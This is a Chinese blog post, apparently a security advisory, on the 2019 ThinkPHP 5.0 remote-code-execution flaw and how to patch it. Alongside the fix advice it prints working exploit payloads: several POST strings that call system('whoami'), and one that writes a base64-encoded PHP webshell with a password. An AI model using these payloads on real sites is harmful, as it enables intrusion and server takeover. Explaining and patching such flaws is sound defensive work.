thinkphp网站有漏洞怎么解决修复

简介: 2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。

2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。


u=113550010,509152719&fm=173&app=49&f=JPEG.jpg


攻击者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞。在thinkphp目录下的library文件夹下的think\request.php代码。如下图所示:


u=975665116,1179079081&fm=173&app=49&f=JPEG.jpg


从上述代码中可以看出整个代码写的流程,首先打开网站会从app.php代码里将请求的网站地址使用check来进行解析,然后再经过patch类型对其进行深度的赋值.然后可以使用post方式提交数据到_method函数当中去,框架会对进行判断,然后对其调用传入的参数值,经过整个代码的循坏以及传入,就可以导致request的值给覆盖掉,从而产生远程代码执行,我们来构造恶意的代码,看看漏洞是如何使用的。


post地址:http://anquanceshi.com/public/index.php?s=captcha


POST内容:c=system&f=whoami&_method=filter


直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的信息。


u=818307445,3771082672&fm=173&app=49&f=JPEG.jpg


在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代码是:


_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode
('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1


写入的是一句话木马,连接密码是pass.


有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:


_method=__construct&filter[]=system&method=GET&get[]=whoami
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo


以上三个都是可以执行远程代码的。


关于thinkphp漏洞的修复建议:


u=4277145263,3514269230&fm=173&app=49&f=JPEG.jpg


尽快升级thinkphp到最新版本,有一些网站可能不方便升级,也可以对代码的文件进行修复,漏洞代码是library/think/Request.php对该代码的526行,527行进行添加设置白名单机制,对请求过来的数据,以及接收的数据进行安全限制。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,网站程序代码的安全很重要,如果网站使用了开源的CMS系统代码,不懂程序技术的话,网站会经常被黑客攻击,如果自己懂程序,那就可以自己针对代码的漏洞进行漏洞修复,不懂的话,就请专业的网站安全公司来完善一下程序上的某些代码漏洞,国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司,很多黑客之所以能植入木马病毒,就是抓住了这些网站代码上的漏洞。

相关文章
PbootCMS的默认账号密码是什么?
PbootCMS的默认账号密码是什么?
1778 0
|
JavaScript 数据安全/隐私保护
Vue中如何使用过滤器来隐藏手机号、邮箱等字符串的中间部分内容
这篇文章介绍了在Vue中如何使用过滤器来隐藏手机号和邮箱等字符串的中间部分内容,以提高隐私保护。文章展示了实现效果,并提供了实现过程的代码示例,包括HTML部分的绑定、data部分的数据定义和script部分的过滤器定义。文章还解释了过滤器的概念、语法和使用方式,并提供了一个外部链接供读者获取更加详细的过滤器知识。
|
12月前
|
Linux 数据安全/隐私保护 C语言
新手向导:轻松离线搭建最新版OpenVPN(含一键安装脚本)
OpenVPN 是常用的虚拟私有网络工具,通过 Docker 搭建非常简单。但常用的 kylemanna/openvpn 镜像已三年未更新,停留在 OpenVPN 2.4 版本。为了升级到最新版本(如 2024 年 2 月发布的 v2.6.9),可以通过官方开源社区获取最新安装包并手动编译安装。步骤包括安装依赖、下载并编译 OpenSSL 和 OpenVPN、生成证书和配置文件等。此外,GitHub 上有一键安装脚本 openvpn-install.sh,简化了安装过程,但其版本可能不是最新的。安装完成后,还需配置 iptables 以确保客户端能正常使用代理网络。
15272 1
|
网络安全 开发工具 数据安全/隐私保护
Git远程仓库Gitee的使用详解
Git远程仓库Gitee的使用详解
Git远程仓库Gitee的使用详解
|
分布式计算 监控 Hadoop
Hadoop任务执行失败
【7月更文挑战第12天】
642 10
|
SQL 安全 数据管理
数据管理DMS操作报错合集之DMS查询时候遇到"大字段信息不存在"如何解决
数据管理DMS(Data Management Service)是阿里云提供的数据库管理和运维服务,它支持多种数据库类型,包括RDS、PolarDB、MongoDB等。在使用DMS进行数据库操作时,可能会遇到各种报错情况。以下是一些常见的DMS操作报错及其可能的原因与解决措施的合集。
|
SQL 存储 关系型数据库
MySQL中count(*)和information_schema.tables中的table_rows值不相同
MySQL中count(*)和information_schema.tables中的table_rows值不相同
753 0
Conda 卸载包报错:PackagesNotFoundError: The following packages are missing from the target environment:
Conda 卸载包报错:PackagesNotFoundError: The following packages are missing from the target environment:
Conda 卸载包报错:PackagesNotFoundError: The following packages are missing from the target environment:
|
IDE 开发工具 Android开发
IDEA快捷键改为eclipse的快捷键(完整版)、常用快捷键、导入已有的设置
IDEA快捷键改为eclipse的快捷键(完整版)、常用快捷键、导入已有的设置
IDEA快捷键改为eclipse的快捷键(完整版)、常用快捷键、导入已有的设置